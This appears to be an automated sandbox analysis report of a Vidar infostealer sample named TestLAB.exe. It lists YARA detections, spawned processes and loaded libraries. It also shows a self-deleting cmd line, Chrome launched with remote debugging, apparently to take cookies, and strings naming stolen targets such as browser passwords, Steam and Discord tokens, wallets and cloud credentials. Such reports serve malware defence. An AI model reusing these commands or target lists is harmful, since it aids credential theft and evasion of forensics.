Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_068419A3 0_2_068419A3
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_06845F88 0_2_06845F88
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_06845F77 0_2_06845F77
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_06847097 0_2_06847097
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_068470A8 0_2_068470A8
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_0684003B 0_2_0684003B
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_0684D1B0 0_2_0684D1B0
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_0684D1C0 0_2_0684D1C0
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_069DD890 0_2_069DD890
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_069D7869 0_2_069D7869
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_069F0C70 0_2_069F0C70
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_069F3210 0_2_069F3210
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_069F3200 0_2_069F3200
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_069F0006 0_2_069F0006
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_069F0040 0_2_069F0040
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_06A00006 0_2_06A00006
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_06A00040 0_2_06A00040
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_06A00040 0_2_06A00040
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_06A2EA20 0_2_06A2EA20
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_06A29A38 0_2_06A29A38
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_06A269A8 0_2_06A269A8
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_06A29A28 0_2_06A29A28
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_06A273C0 0_2_06A273C0
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_06A273D0 0_2_06A273D0
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_06A20007 0_2_06A20007
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_06A273D0 0_2_06A273D0
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_06A2C980 0_2_06A2C980
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_06A27180 0_2_06A27180
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_06A26998 0_2_06A26998
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_06A295C0 0_2_06A295C0
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_06A295D0 0_2_06A295D0
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_06A2717F 0_2_06A2717F
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_06AA56FA 0_2_06AA56FA
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_06AA5678 0_2_06AA5678
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_06AACC81 0_2_06AACC81
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_06AADE98 0_2_06AADE98
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_06AA5668 0_2_06AA5668
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_06AACFB7 0_2_06AACFB7
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_06AA8DA0 0_2_06AA8DA0
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_06AA9AA0 0_2_06AA9AA0
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_06AA9A90 0_2_06AA9A90
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_06AA6BC0 0_2_06AA6BC0
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_06AA6BD0 0_2_06AA6BD0
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_06AA0007 0_2_06AA0007
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_06CAF2E0 0_2_06CAF2E0
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_06CAF5C0 0_2_06CAF5C0
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_06CAE280 0_2_06CAE280
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_06C90040 0_2_06C90040
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_06C90021 0_2_06C90021
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_06CADD30 0_2_06CADD30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4_2_00404B3F 4_2_00404B3F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4_2_00414F57 4_2_00414F57
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4_2_00417B66 4_2_00417B66
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4_2_0040AF7E 4_2_0040AF7E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4_2_00416FF1 4_2_00416FF1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4_2_004151BF 4_2_004151BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: String function: 0040D84A appears 139 times
Source: TestLAB.exe Static PE information: invalid certificate
Source: TestLAB.exe, 00000000.00000002.2023367902.0000000006B00000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs TestLAB.exe
Source: TestLAB.exe, 00000000.00000002.2011205715.00000000042B1000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs TestLAB.exe
Source: TestLAB.exe, 00000000.00000002.1991482086.00000000032B1000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilename vs TestLAB.exe
Source: TestLAB.exe, 00000000.00000002.2015534955.0000000005AA0000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: OriginalFilenameGgfigck.exe0 vs TestLAB.exe
Source: TestLAB.exe, 00000000.00000002.2011205715.00000000043EB000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs TestLAB.exe
Source: TestLAB.exe, 00000000.00000003.1977249191.00000000046BA000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameFtdylifsk.dll" vs TestLAB.exe
Source: TestLAB.exe, 00000000.00000002.2023009276.0000000006AB0000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs TestLAB.exe
Source: TestLAB.exe, 00000000.00000003.1940409076.00000000009EC000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameMsMpLics.dllj% vs TestLAB.exe
Source: TestLAB.exe, 00000000.00000002.2018724674.0000000005CF0000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: OriginalFilenameFtdylifsk.dll" vs TestLAB.exe
Source: TestLAB.exe, 00000000.00000002.2011205715.000000000432D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs TestLAB.exe
Source: TestLAB.exe, 00000000.00000002.2011205715.000000000432D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs TestLAB.exe
Source: TestLAB.exe Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
Source: 4.2.InstallUtil.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: infostealer_win_vidar_strings_nov23 author = Sekoia.io, description = Finds Vidar samples based on the specific strings, creation_date = 2023-11-10, classification = TLP:CLEAR, version = 1.0, reference = https://twitter.com/crep1x/status/1722652451319202242, id = b2c17627-f9b8-4401-b657-1cce560edc76
Source: 4.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: infostealer_win_vidar_strings_nov23 author = Sekoia.io, description = Finds Vidar samples based on the specific strings, creation_date = 2023-11-10, classification = TLP:CLEAR, version = 1.0, reference = https://twitter.com/crep1x/status/1722652451319202242, id = b2c17627-f9b8-4401-b657-1cce560edc76
Source: 0.2.TestLAB.exe.43eb830.1.raw.unpack, type: UNPACKEDPE Matched rule: infostealer_win_vidar_strings_nov23 author = Sekoia.io, description = Finds Vidar samples based on the specific strings, creation_date = 2023-11-10, classification = TLP:CLEAR, version = 1.0, reference = https://twitter.com/crep1x/status/1722652451319202242, id = b2c17627-f9b8-4401-b657-1cce560edc76
Source: 00000004.00000002.2388266536.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: infostealer_win_vidar_strings_nov23 author = Sekoia.io, description = Finds Vidar samples based on the specific strings, creation_date = 2023-11-10, classification = TLP:CLEAR, version = 1.0, reference = https://twitter.com/crep1x/status/1722652451319202242, id = b2c17627-f9b8-4401-b657-1cce560edc76
Source: 00000000.00000002.1987357651.0000000002690000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 0.3.TestLAB.exe.4b1fbd0.1.raw.unpack, gcH2GrgJKi7tBp8n60w.cs Cryptographic APIs: 'CreateDecryptor'
Source: 0.3.TestLAB.exe.4b1fbd0.1.raw.unpack, gcH2GrgJKi7tBp8n60w.cs Cryptographic APIs: 'CreateDecryptor'
Source: 0.3.TestLAB.exe.4b1fbd0.1.raw.unpack, gcH2GrgJKi7tBp8n60w.cs Cryptographic APIs: 'CreateDecryptor'
Source: 0.3.TestLAB.exe.4b1fbd0.1.raw.unpack, gcH2GrgJKi7tBp8n60w.cs Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.TestLAB.exe.5aa0000.6.raw.unpack, ClassBuilder.cs Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.TestLAB.exe.439b810.0.raw.unpack, ITaskFolder.cs Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 0.2.TestLAB.exe.439b810.0.raw.unpack, TaskFolder.cs Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'
Source: 0.2.TestLAB.exe.439b810.0.raw.unpack, Task.cs Task registration methods: 'RegisterChanges', 'CreateTask'
Source: 0.2.TestLAB.exe.439b810.0.raw.unpack, TaskService.cs Task registration methods: 'CreateFromToken'
Source: 0.2.TestLAB.exe.439b810.0.raw.unpack, TaskFolder.cs Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.TestLAB.exe.439b810.0.raw.unpack, TaskSecurity.cs Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 0.2.TestLAB.exe.439b810.0.raw.unpack, TaskSecurity.cs Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
Source: 0.2.TestLAB.exe.439b810.0.raw.unpack, Task.cs Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.TestLAB.exe.439b810.0.raw.unpack, TaskPrincipal.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.TestLAB.exe.439b810.0.raw.unpack, User.cs Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: TestLAB.exe Binary string: \Device\PhysicalMemoryU
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@24/24@6/7
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_02690D35 CreateToolhelp32Snapshot,Thread32First,Wow64SuspendThread,CloseHandle,Thread32Next,CloseHandle, 0_2_02690D35
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\YN7YA1ES.htm Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4088:120:WilError_03
Source: C:\Users\user\Desktop\TestLAB.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File read: C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1002\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: ngvaaie3w.4.dr Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: unknown Process created: C:\Users\user\Desktop\TestLAB.exe "C:\Users\user\Desktop\TestLAB.exe"
Source: C:\Users\user\Desktop\TestLAB.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2392 --field-trial-handle=2328,i,2740823658602917605,14507772248891674294,262144 /prefetch:8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" & rd /s /q "C:\ProgramData\jmyua" & exit
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: C:\Users\user\Desktop\TestLAB.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" & rd /s /q "C:\ProgramData\jmyua" & exit Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2392 --field-trial-handle=2328,i,2740823658602917605,14507772248891674294,262144 /prefetch:8 Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10 Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Section loaded: netapi32.dll Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: dbghelp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: windows.fileexplorer.common.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: ntshrui.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: cscapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: linkinfo.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: slc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: pcacli.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: sfc_os.dll Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32 Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: TestLAB.exe Static file information: File size 4544368 > 1048576
Source: TestLAB.exe Static PE information: Raw size of CODE is bigger than: 0x100000 < 0x109200
Source: TestLAB.exe Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x334800
Source: Binary string: vdr1.pdb source: TestLAB.exe, 00000000.00000002.2011205715.00000000043EB000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, InstallUtil.exe, 00000004.00000002.2388266536.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source: Binary string: A{"id":1,"method":"Storage.getCookies"}|.tgz.gzSecurityHistoryWork Dir: In memorySOFTWARE\Microsoft\Cryptographyfirefox%08lX%04lX%lu_key.txtSoft\Steam\steam_tokens.txt\Discord\tokens.txtpasswords.txtinformation.txtlocalhostWebSocketClient" & exitGdipGetImageHeightSoftGdipGetImagePixelFormatN0ZWFt\Monero\wallet.keysAzure\.awsstatusWallets_CreateProcessGdipGetImageEncodershttpsSoftware\Martin Prikryl\WinSCP 2\SessionsPlugins/devtoolsprefs.jsLocal Extension SettingsSync Extension SettingsFilescookiesCookies\BraveWallet\Preferenceskey_datas%s\%s\%sPortNumberCurrentBuildNumberGdiplusStartup.zipGdipCreateHBITMAPFromBitmapOpera Crypto.zooUnknownGdiplusShutdown/json_logins.jsoninvalid string positionSoftware\Martin Prikryl\WinSCP 2\ConfigurationDisplayVersionSOFTWARE\Microsoft\Windows NT\CurrentVersionopentokenamcommunity.comTelegramSoftware\Valve\SteamGdipSaveImageToStreamGdipLoadImageFromStream\AppData\Roaming\FileZilla\recentservers.xml.dllSOFTWARE\Microsoft\Windows\CurrentVersion\Uninstallapprove_aprilNetworkblock.arjprofiles.ini.lzhGdipGetImageWidthwallet_pathSteamPathscreenshot.jpgstring too longvector<T> too longProcessorNameStringloginusers.vdflibraryfolders.vdfconfig.vdfDialogConfig.vdfDialogConfigOverlay*.vdfGdipGetImageEncodersSizesteam.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\cmd.exeC:\Windows\system32\rundll32.exeBravetrueformhistory.sqlitecookies.sqliteplaces.sqliteLocal StatefalseAzure\.azureSOFTWARE\monero-project\monero-corechromefile_nameDisplayNameHostNameProductNameUserNameGdipSaveImageToFilemsal.cacheGdipDisposeImagemodeAzure\.IdentityServiceUseMasterPasswordhwidMachineGuidtask_idbuild_idCrash DetectedDisabled%dx%d%d/%d/%d %d:%d:%d.arcvdr1.pdb\Local Storage\leveldb_0.indexeddb.leveldb_formhistory.db_history.db_cookies.db_passwords.db_webdata.db_key4.db\key4.dbfile_dataLogin DataWeb DataoperaOperachrome-extension_[Processes][Software]\storage\default\\.aws\errors\\Telegram Desktop\\Steam\\config\\.azure\ Stable\\.IdentityService\\discord\/c timeout /t 10 & rd /s /q "C:\ProgramData\" & rd /s /q "C:\ProgramData\\..\.ZDISPLAYOpera GXEXCEPTION_INT_OVERFLOWEXCEPTION_FLT_OVERFLOWEXCEPTION_STACK_OVERFLOWEXCEPTION_FLT_UNDERFLOWPOSTEXCEPTION_BREAKPOINT\Local 